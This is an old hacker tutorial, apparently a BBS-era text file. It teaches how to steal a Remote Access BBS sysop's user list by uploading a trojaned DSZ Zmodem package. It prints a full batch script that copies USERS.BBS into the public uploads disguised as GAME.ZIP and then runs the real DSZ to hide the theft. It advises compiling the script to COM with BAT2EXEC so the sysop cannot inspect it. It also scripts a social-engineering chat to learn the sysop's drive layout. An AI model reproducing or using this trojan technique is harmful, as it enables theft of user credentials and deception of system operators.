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- Remote Access BBS software sucks, and a SysOp who would want to run it is
- asking for it, so we're going to teach him a lesson by doing some fun
- things with his board. The first thing we will do is steal his user
- list.
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-
- First a program must be found that the SysOp wants and will execute on
- his BBS system. It could be a wide range of items. It can be some soft-
- ware (doesn't have to be pirate) that the operator has been requesting for
- a while. For this demonstration, we will use DSZ <Z modem>.
-
-
- You will also need a program called BAT2EXEC.COM made by the staff at
- PC-Magazine. Its main purpose it to convert large Batch file to Com
- files. Com files run faster and cannot be aborted with ^C.
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- DSZ includes-
-
- DSZ.DOC
- DSZ.EXE
-
- Rename DSZ.EXE to DSZ.DAT.
-
-
- Now, make a batch file called DSZ.BAT. It should look something
- like this.
-
- @ECHO OFF
- IF EXIST C:\RA\USERS.BBS GOTO COPY
- REM Checks to see if the USERS.BBS listing is there.
- GOTO DSZ
- :COPY
- IF EXIST D:\FILES\UPLOAD\GAME.ZIP GOTO DSZ
- REM Sets it to only copy once.
- REM Now we want to copy the USERS.BBS listing to the new file
- REN directory, under the name of GAME.ZIP
- COPY C:\RA\USERS.BBS D:\FILES\UPLOAD\GAME.ZIP >DMP.DMP
- REM DMP.DMP is used to redirect the screen output
- REM Now is the tricky part. You need to have FILES.BBS listing
- REM add TOOBIN1.ZIP to it's listing of on-line files.
- COPY DSZ.DMP + D:\FILES\UPLOAD\FILES.BBS
- D:\FILES\UPLOAD\FILES.BAK > DMP.DMP
- REM D:\files\upload will change depending on the sub-dir setup.
- REM DSZ.DMP, a file you will need to make, is appended to
- REM a listing of all available files.
- COPY D:\FILES\UPLOAD\FILES.BAK D:\FILES\UPLOAD\FILES.BBS >DMP.DMP
- DEL DMP.DMP
- :DSZ
- REM Now we want to run DSZ like normal.
- REN DSZ.DAT DZ.EXE
- REM Turn back on monitor
- DSZ %1 %2 %3 %4 %5 %6 %7
- REN DZ.EXE DSZ.DAT
- REM All done!
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- This is a generic program and you will have to tailor it so it will
- meet your needs.
-
- Now, run BAT2EXEC DSZ.BAT, to create DSZ.COM
-
- If the program does not "compile" and gives you some kind of error,
- that means that your program is 'too small' to be converted. Bat2exec
- was made for large files, and really does not like small ones. All you
- have to do is add a couple 100 ECHO statements at then end of your program
- and everything should be fine.
-
- Ok, remember how i said you need to add USERS.BBS (which was
- renamed game.zip) to the FILES.BBS listing? Ok, now create a
- file that is called DSZ.DMP, and that looks like this.
-
- GAME.ZIP Game Disk #1, cracked by INC!
- (Description should start on 14th line)
-
- Now I will recap what will happen when you have everything
- setup. The sysop sees that someone (You) has uploaded the newest
- version of DSZ Z-Modem, so he installs it. The files he places
- in his protocol directory are:
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- DSZ.COM -Your batch file changed into COM.
- DSZ.DAT -The real DSZ
- DSZ.DOC -Docs to DSZ
- DSZ.DMP -Has text that says "game.zip"
-
- Now, he gets his BBS software to run DSZ.COM, which he thinks is
- DSZ. Because it's a com file, he can't tell what it does, which
- is the whole reason for using BAT2EXEC.COM anyway. There is no
- way he can tell what DSZ.COM does. DSZ.COM runs, and copies
- USERS.BBS listing to the new files listing under the name
- GAME.ZIP. Then, DSZ.DMP is added to the Files.BBS listing, so
- when you do a listing of new files, it will be there. Then
- DSZ.DAT is renamed to DZ.EXE. DZ.EXE is then run. Then DZ.EXE
- is renamed back to DSZ.DAT. Now, all you have to do is download
- GAME.ZIP, and you are off!
-
- This procedure I have created for Remote Access boards, but you have
- to know the SysOp's drive specifications. Whether he has a C: or D:
- drive, and what directory is Remote Access installed on. This can
- be found out simply by casually slipping it into the conversation.
-
- SysOp: "Whadda ya want? I'm masturbating!"
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- You: "How's it going! Can I upload a really big big huge ware?"
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- SysOp: "k00l k0dEz!!&^**@! Sure upload, I like uploads!"
-
- You "Do you have the space for it? Its really new and takes up
- a lot of space! How big is your hard disk?"
-
- SysOp: "D00d, my HD is 60o g1gz!"
-
- You: "So you only have one hard disk?"
-
- SysOp "No d00d, I have two; a c: and d:!"
-
- You: "we9o65hfgkjl╛9:Φ║r45976hyt sorry man Line Noise, :?∞.Ñ¥6╦
- 28╝+:7y3fdfvgjk goto run!"
-
- At this point you know all the information. The chances of the board
- not being under the sub-directory of \RA are extremely slim. If he says
- he has one HD, you're all set. If he says he has two, then it should
- probably be on the c: drive, but ask him just in case. Just slip it into
- the conversation. You'd be amazed how st00pid people can be!
-
- So Until Next Time...
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- "You're only dancing on this earth for a short while."
-
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- I can be reached at:
- The Clam Plate Orgy: (617) 596-0415
- Maniacal Plunge : (617) 231-3074
- Internet : foobar@silver.lcs.mit.edu
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